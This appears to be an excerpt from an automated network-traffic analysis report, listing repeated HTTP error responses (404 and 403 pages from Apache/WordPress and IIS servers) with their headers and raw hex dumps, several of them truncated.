a3 b5 f2 35 54 74 a7 7c 71 79 96 3f 49 2f d1 c7 74 1e de 25 85 b0 ad 43 ba 5e 39 f4 05 a6 48 d5 0a 0d 4f 8b 7f 73 12 cf 84 c2 be 96 fa b5 80 aa eb da 3e fa e7 19 31 f9 35 47 2a b6 0f 1f 7a 34 35 d2 a9 a0 42 19 0e 4a cf 80 ea c5 06 4f c7 36 8f 9a a7 63 db 75 d1 d3 b1 53 ac 7b 3a 0a c6 da a7 a3 48 65 e6 5a 2d 00 fd ea db cb 81 de 5f f1 f2 0a f5 da b6 93 7f 2f 19 05 bb 09 91 0e 74 7c e8 e6 e6 fa f6 Data Ascii: C@E`:{SoF9EUn;,eK;oIrli\|CYq8s~]Z[T]i`=
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 20:05:07 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 10066Content-Type: text/html; charset=UTF-8Data Raw: 13 7f d0 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 ff 7b 53 fb 6f fb e7 eb 46 39 8d 45 0a 18 d0 b2 55 6e 3b e9 2c 99 65 4b 3b 6f 49 72 f2 b0 84 6c a6 b2 d0 01 bc e4 69 f4 f7 fe b2 de 9f 0d 7c c6 10 d8 91 43 e0 59 c9 9c 01 71 38 ff 9c 73 ef fd 7e d0 5d f5 5a 1a 95 5b 54 ee 19 8d 5d 1a cd 07 69 60 97 ef 3d 17 de eb d7 af 5b fc 57 8b 0c 59 60 c4 24 71 12 6b 8c 3d bb 26 0a 1d a4 2e 07 51 e2 c7 50 6d b6 9f 74 df 20 22 a2 22 6a d2 ee 35 5c c7 47 2d f2 11 31 b6 59 f8 61 32 54 33 19 db e9 8f 04 4e 2c 23 85 4a f0 7d 8b c3 2c b9 f7 95 58 4f 50 d4 9a 69 fb 18 9a ed e1 66 a8 e9 09 e9 83 ef a2 04 0c 6d 96 5c 03 26 9d ba 0e d4 30 c1 c1 3c cd a2 28 db 47 ea 20 d9 e5 5e 62 b8 94 94 42 40 0b 9d 83 a2 ad 0e 77 18 43 6c 29 75 1b 35 c7 a5 3f c5 ab d4 1f 71 ab 97 a9 d5 41 5e ce 81 31 44 c6 58 c6 65 3c e3 95 67 8a 2f b0 6f 17 0c c6 03 bb 22 90 dd 3b e6 bc 82 8f 8d 82 8f 47 6f 20 75 b4 b3 9e dd df f2 5d af 87 af 60 55 5f af da c1 61 be 1c 9d f2 cd 7e 75 e2 86 f3 ac d7 b2 51 f7 9b b0 61 c7 09 1e 14 9a f2 58 21 e0 68 dc 08 72 e9 9a b3 0c 1d 29 64 ce 0b 82 ef 94 6a cd d1 5c c8 d1 5a 3c fe b9 ad 83 f0 45 61 db b5 23 44 8a 8f 41 91 38 41 cd f0 66 29 70 8f ef e5 3c aa 83 f9 5b 3f 28 ef f5 b0 73 50 c3 14 48 e8 f8 17 db d7 0b 47 74 e5 d3 fa 69 ed e8 79 e2 4e ed 69 02 4c f6 b4 ce a4 8d a7 35 82 e7 f1 b4 e6 09 65 34 7a 5a 67 e2 92 89 a7 75 80 03 75 f1 41 19 e4 8e 6b 40 80 03 77 da e1 1c 75 a7 dd cb 0e 77 da 7d fb fe 46 77 7a bf 39 da 46 1d 61 0a 1a 33 34 d2 7b 15 61 e0 13 c7 8e ad cb c4 79 24 f9 f5 15 8d bf 9d 23 fa 4c 49 c6 4f 69 45 f5 c8 27 65 eb 94 a6 54 04 f3 5c 2d d7 b7 57 a7 58 c0 a9 43 2d d0 0e 30 a7 a4 44 df 5f b5 70 bb 5e 5e cd d5 d9 11 6a 3c 14 4c fb 18 ec b0 aa f6 bd 0f 9a 50 8d 7a fb ba 7f dc d7 53 36 3e c6 67 e5 bc 2b 15 2e f4 eb 65 d1 2a ee 28 e0 f3 3f aa df ba 10 cd 95 53 ce 69 33 3c 78 63 e5 4e 51 a7 fc bd 57 87 d0 e0 e2 36 a1 45 e4 de ba 7b 0d 3d 42 9a cb 67 14 9a e6 99 84 8d 63 86 3d 79 0d 45 8b 9a 27 f1 a7 6a 7c c8 30 c3 8a 36 72 38 49 47 73 b8 72 12 27 b9 7a 12 08 2b da e9 be ff ac 2e 3e f4 98 61 56 97 64 be a6 f4 81 bf e8 c1 47 e2 a3 b5 f2 35 54 74 a7 7c 71 79 96 3f 49 2f d1 c7 74 1e de 25 85 b0 ad 43 ba 5e 39 f4 05 a6 48 d5 0a 0d 4f 8b 7f 73 12 cf 84 c2 be 96 fa b5 80 aa eb da 3e fa e7 19 31 f9 35 47 2a b6 0f 1f 7a 34 35 d2 a9 a0 42 19 0e 4a cf 80 ea c5 06 4f c7 36 8f 9a a7 63 db 75 d1 d3 b1 53 ac 7b 3a 0a c6 da a7 a3 48 65 e6 5a 2d 00 fd ea db cb 81 de 5f f1 f2 0a f5 da b6 93 7f 2f 19 05 bb 09 91 0e 74 7c e8 e6 e6 fa f6 Data Ascii: C@E`:{SoF9EUn;,eK;oIrli\|CYq8s~]Z[T]i`=
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 20:05:10 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 10066Content-Type: text/html; charset=UTF-8Data Raw: 13 7f d0 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 ff 7b 53 fb 6f fb e7 eb 46 39 8d 45 0a 18 d0 b2 55 6e 3b e9 2c 99 65 4b 3b 6f 49 72 f2 b0 84 6c a6 b2 d0 01 bc e4 69 f4 f7 fe b2 de 9f 0d 7c c6 10 d8 91 43 e0 59 c9 9c 01 71 38 ff 9c 73 ef fd 7e d0 5d f5 5a 1a 95 5b 54 ee 19 8d 5d 1a cd 07 69 60 97 ef 3d 17 de eb d7 af 5b fc 57 8b 0c 59 60 c4 24 71 12 6b 8c 3d bb 26 0a 1d a4 2e 07 51 e2 c7 50 6d b6 9f 74 df 20 22 a2 22 6a d2 ee 35 5c c7 47 2d f2 11 31 b6 59 f8 61 32 54 33 19 db e9 8f 04 4e 2c 23 85 4a f0 7d 8b c3 2c b9 f7 95 58 4f 50 d4 9a 69 fb 18 9a ed e1 66 a8 e9 09 e9 83 ef a2 04 0c 6d 96 5c 03 26 9d ba 0e d4 30 c1 c1 3c cd a2 28 db 47 ea 20 d9 e5 5e 62 b8 94 94 42 40 0b 9d 83 a2 ad 0e 77 18 43 6c 29 75 1b 35 c7 a5 3f c5 ab d4 1f 71 ab 97 a9 d5 41 5e ce 81 31 44 c6 58 c6 65 3c e3 95 67 8a 2f b0 6f 17 0c c6 03 bb 22 90 dd 3b e6 bc 82 8f 8d 82 8f 47 6f 20 75 b4 b3 9e dd df f2 5d af 87 af 60 55 5f af da c1 61 be 1c 9d f2 cd 7e 75 e2 86 f3 ac d7 b2 51 f7 9b b0 61 c7 09 1e 14 9a f2 58 21 e0 68 dc 08 72 e9 9a b3 0c 1d 29 64 ce 0b 82 ef 94 6a cd d1 5c c8 d1 5a 3c fe b9 ad 83 f0 45 61 db b5 23 44 8a 8f 41 91 38 41 cd f0 66 29 70 8f ef e5 3c aa 83 f9 5b 3f 28 ef f5 b0 73 50 c3 14 48 e8 f8 17 db d7 0b 47 74 e5 d3 fa 69 ed e8 79 e2 4e ed 69 02 4c f6 b4 ce a4 8d a7 35 82 e7 f1 b4 e6 09 65 34 7a 5a 67 e2 92 89 a7 75 80 03 75 f1 41 19 e4 8e 6b 40 80 03 77 da e1 1c 75 a7 dd cb 0e 77 da 7d fb fe 46 77 7a bf 39 da 46 1d 61 0a 1a 33 34 d2 7b 15 61 e0 13 c7 8e ad cb c4 79 24 f9 f5 15 8d bf 9d 23 fa 4c 49 c6 4f 69 45 f5 c8 27 65 eb 94 a6 54 04 f3 5c 2d d7 b7 57 a7 58 c0 a9 43 2d d0 0e 30 a7 a4 44 df 5f b5 70 bb 5e 5e cd d5 d9 11 6a 3c 14 4c fb 18 ec b0 aa f6 bd 0f 9a 50 8d 7a fb ba 7f dc d7 53 36 3e c6 67 e5 bc 2b 15 2e f4 eb 65 d1 2a ee 28 e0 f3 3f aa df ba 10 cd 95 53 ce 69 33 3c 78 63 e5 4e 51 a7 fc bd 57 87 d0 e0 e2 36 a1 45 e4 de ba 7b 0d 3d 42 9a cb 67 14 9a e6 99 84 8d 63 86 3d 79 0d 45 8b 9a 27 f1 a7 6a 7c c8 30 c3 8a 36 72 38 49 47 73 b8 72 12 27 b9 7a 12 08 2b da e9 be ff ac 2e 3e f4 98 61 56 97 64 be a6 f4 81 bf e8 c1 47 e2 a3 b5 f2 35 54 74 a7 7c 71 79 96 3f 49 2f d1 c7 74 1e de 25 85 b0 ad 43 ba 5e 39 f4 05 a6 48 d5 0a 0d 4f 8b 7f 73 12 cf 84 c2 be 96 fa b5 80 aa eb da 3e fa e7 19 31 f9 35 47 2a b6 0f 1f 7a 34 35 d2 a9 a0 42 19 0e 4a cf 80 ea c5 06 4f c7 36 8f 9a a7 63 db 75 d1 d3 b1 53 ac 7b 3a 0a c6 da a7 a3 48 65 e6 5a 2d 00 fd ea db cb 81 de 5f f1 f2 0a f5 da b6 93 7f 2f 19 05 bb 09 91 0e 74 7c e8 e6 e6 fa f6 Data Ascii: C@E`:{SoF9EUn;,eK;oIrli\|CYq8s~]Z[T]i`=
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Wed, 11 Sep 2024 20:06:15 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Wed, 11 Sep 2024 20:06:18 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Wed, 11 Sep 2024 20:06:20 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Wed, 11 Sep 2024 20:06:23 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 